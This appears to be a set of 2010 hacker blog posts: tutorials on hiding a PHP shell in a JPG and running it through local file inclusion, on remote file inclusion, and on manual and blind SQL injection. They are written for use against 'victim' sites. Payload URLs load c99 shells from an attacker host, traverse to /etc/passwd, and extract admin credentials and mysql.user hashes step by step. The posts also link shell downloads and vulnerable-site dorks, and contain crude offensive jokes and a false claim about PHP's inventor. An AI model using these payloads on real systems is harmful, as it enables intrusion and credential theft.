You possibly have seen this in the "Local JPG Shell injection video" at milw0rm, but the best part here that was not mentioned is that the web aplication DOES N'T need to be installed on your victim website!

This is a quick explanation, for a better understanding you can view the video at :
Code:
http://www.milw0rm.com/video/watch.php?id=57
OR, IF you want a private way to upload shell in the server visit this link :
Code:
http://per1ova.com/showthread.php?t=400
This article is in the PREMIUM AREA so you need to be a VIP member

You need to "insert" the php code you want to execute inside the image, to do this you'll need to use your favorite hex editor or you can use the edjpgcom program (all you need to do is right click on the image, open with..., then select the edjpgcom program and then just type the code). Ok now that you have your shell in the image all you need to do is upload it! If your victim.com has a forum or something else that allows you to upload great, if not check if its in a shared hosting, if so do a reverse lookup on it!

Now that you have a list of potential sites that may have a forum or something else that allows you to upload your image all you need to do is take some time to browse thru them until you find one!

After you found one and have uploaded your image here is tricky part, you'll need to "create" an error on it (in order to find the server path to it)! Try per example create an mysql error and you will get something like this:
Code:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sitefolder/public_html/includes/view.php on line 37
If you can't force an error go back to the etc/passwd file:

Code:
username:kbeMVnZM0oL7I:503:100:FullName:/home/username:/bin/sh
As you can see the username is also the directory name, most of the times the name is similar to the domain name, but if not the case you'll have to try them until you find the one you're looking for!

Go to your avatar image right click on it and then properties (write down the path to it), you'll now all set up.

In your browser type this (again, the nr of ../ may vary):
Code:
victim.com/index.php=../../../../../../../../../ho me/the_other_site_dir/public_html/path_to_your_avatar/avatar.jpg
In order "words" should look like this (using fictitious "names"):

Code:
victim.com/index.php=../../../../../../../../../ho me/arcfull/public_html/forum/uploads/avatar.jpg
After you type this you will see the result of the code inserted in the image!

greetzz to all !!

happy hacking...

Regards

~ Shubham h4ck3r

RFI- Remote File Inclusion

2010-09-18T09:42:00.000-07:00

First of all download these shells, further we'll continue...

LINK-http://www.mediafire.com/?yl1inzliudz

RFI Tutorial (remote file inclusion)

Basically, the include function in PHP allows contents from local or remote files to be pretty much "copied and pasted" and executed in a script at runtime.

Now suppose yo' dad wants a small website. All he wants is three pages.
A blog page where he can update you on how many babies he has killed.
A contact page with his email on it os people can ask advice on the best way to kill babies.
An gallery page where he can show you pictures of all the babies he has killed.

He creates four pages. blog.php, contact.php and gallery.php along with index.php, this is our "main" page that will contain a header, a side bar for navigation, some php and a footer.

You would view the pages on his website like this.
Code:
http://www.yodad.com/index.php?page=blog.php
http://www.yodad.com/index.php?page=contact.php
http://www.yodad.com/index.php?page=gallery.php
Let's take a look at the code for index.php

Code:
//html for header
//html for menu
$page = $_GET['page'];
include($page);
?>
//html for footer
On line 2, $page is set to $_GET['page']

This means when we go to
Code:
http://www.yodad.com/index.php?page=blog.php
$page is set to blog.php.
On line 3 it is "included". The contents from blog.php is copied and pasted into index.php

What's wrong with this? Well as I said earlier the include function can also include remote files. Files NOT on his web server.

Say we change "blog.php" to "http://www.google.com"
Code:
http://www.yodad.com/index.php?page=http://www.google.com
You would see the google home page instead of your dads shitty blog.

What's the point of this?

We can include "bad" or "evil" scripts. Some of you may heard of "shells" (r57,c99,g00nshell,peanut). Shells are scripts with functions like letting you view directories of the server it's executed on, deleting files, viewing files, letting you run system commands and more.

Here's how we would use it:
Code:
http://www.yodad.com/index.php?page=http://evilsite.com/c99.txt
* We have to use the shell as .txt so it's plaintext. If we used .php then the script would be executed on http://www.evilsite.com.

Let's look at another example of a RFI.

Undefined variables.

Say yo' dad has learned how to use MySQL and to put content on his blog page he uses a form he created to connect to his MySQL server and insert his stories into a table.

To connect to the MySQL server & add content he needs a username & a password. He stores these in a file called "db_details.php".

The blog.php file needs these credentials to connect and get the content.

so in index.php:
Code:
//html for header
//html for menu
$database_config_file = "db_details.php";
$page = $_GET['page'];
include($page);
?>
//html for footer
and in blog.php:

Code:
include($database_config_file);
//code to connect to MySQL and get the latest blog posts
?>
Since we are calling blog.php through index.php like this:
Code:
http://www.yodad.com/index.php?page=blog.php
, in index.php $database_config_file is set to "db_details.php" and in blog.php it is included. There is no problem there, it then can connect to the MySQL server with the credentials and retrieve his blog content.

But, if we went to blog.php directly:
Code:
http://www.yodad.com/blog.php
then $database_config_file is not set to anything. It still includes it but it is including nothing. Since we did not use index.php to access it, we did not get: $database_config_file = "db_details.php";

This is a problem, since we can set it ourselves.
If we go to
Code:
http://www.yodad.com/blog.php?database_config_file=http://evilsite.com/c99.txt
$database_config_file will be set to http://www.evilsite.com/c99.txt

Again, blog.php does not check if what it is including is valid.

...

As the famous inventor of PHP, Bill Gates says: There is more than one way to do it.

There are a few ways to prevent these vulnerabilities.

Yo' dad thinks he has gotten smart and has put in a method to stop little leet haxors like you.
This one is easily bypassed.
index.php:

Code:
$page = $_GET['page'];
include($page . ".php");
?>
This means when we go to index.php?page=home it will actually include home.php.

Omg, dat meanz it wont include my .txt, it will try to include .txt.php Sad.

Not necessarily. If we put a question mark after the ".txt" then anything that index.php puts after $page will go to the remote script we are including.

Like this:
Code:
http://www.yodad.com/index.php?page=http://evilsite.com/c99.txt
Index.php would try and include :
Code:
http://www.evilsite.com/c99.txt?.php
To prevent the problem with variables not being defined. Just make sure you define every variable that gets used.

There are a few other ways to prevent these vulnerabilities involving cleaning the input, checking if files exist etc but since I'm only typing with my big jew nose right now I can't be bothered going through them so I'm going to just do the most practical;

Switching.

Code:
$page = $_GET['page'];
switch($page){
case "blog":
include("blog.php");
break;
case "contact":
include("contact.php");
break;
case "gallery":
include("gallery.php");
break;
default: //A page wasn't chosen, or one that wasn't "home" or "gallery"
echo "Choose a page from our fine selection!1!!";
break;
}
?>

Regards

~Shubham h4ck3r
PENETRATION ENGINEER

--------------------if u can't understand read the below easy post------------
We now need to find a RFI vulnerable site. It has something to do with the inclusion php code so you will need a site that looks like this
http://www.site.com/index.php?page=hello.php

Obviously it won't say hello.php but it will be something like that. Now keep in mind not every site that looks like that is vulnerable.

You need google dorks or you can just do it by using a scanner (easier) I got a good all around RFI scanner I'll post in a minute. To get more just search on here or google.

RFI google dorks: http://pastie.org/416784

Now we should have a vuln site. Lets try to put our shell. This is so easy.

Replace hello.php or whatever with your shell
example: http://www.site.com/index.php?page=http:..._shell.txt

Try that. If it doesn't work try putting a ? at the end of txt. If it still doesn't work then it's not vulnerable.

Once your in your shell.
The things you can do is unlimited. If your new defacing the index file is fun lol. Or you can like root the server which is all around better. But it's your choice you could spend a day in a shell and not get bored lol.

thats all....
happy hacking

///end of this post ///

SQL Injection for beginners

2010-09-17T12:40:00.000-07:00

First we have to know what SQL injection is exactly.

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

That is the first paragraph of the wikipedia page for SQLi (SQL injection) found here:

http://en.wikipedia.org/wiki/SQL_injection\

There are two kinds of sql injection-
Manual sql injection
automatic sql injection

MANUAL SQL INJECTION- It is done manually....though it is the difficult method and takes much time but most working.if u r having enough braine learn this method only...now !!

AUTOMATIC SQL INJECTION- It is done automatically without using any sort of mind. it is done through tools like sqli helper or havij. best is havij. i use the same.

Let's start our tutorial by

Manual SQL injection

I would advise reading the entire page.

1.SQL Injection (classic or error based or whatever you call it)

2.Blind SQL Injection (the harder part)

So let's start with some action

1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- no error

http://www.site.com/news.php?id=5 order by 2/* <-- no error

http://www.site.com/news.php?id=5 order by 3/* <-- no error

http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )

we know that table admin exists...

now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed usernameassword on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc...

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc...

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together

for that we use concat() , i decribe it earlier.

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is userass:email from table users.

example: admin:hash:whatever@blabla.com

That's all in this part, now we can proceed on harder part

2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done

I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1 <--- this is always true

and the page loads normally, that's ok.

now the real test

http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page loads normally we know that column name is password (if we get false then try common names or just guess)

here we merge 1 with the column password, then substring returns the first character (,1,1)

4). Pull data from database

we found table users i columns username password so we gonna pull characters from that.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

ok this here pulls the first character from first user in table users.

substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value

and then compare it with simbol greater then > .

so if the ascii char greater then 80, the page loads normally. (TRUE)

we keep trying until we get false.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

we get TRUE, keep incrementing

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

TRUE again, higher

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

FALSE!!!

so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.

then let's check the second character.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

TRUE, the page loads normally, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

FALSE, lower number.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

TRUE, higher.

http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

FALSE!!!

we know that the second character is char(105) and that is 'i'. We have 'ci' so far

so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).

Hex/Char Converter-


you can find it through google...!!!


/// End of my post  ///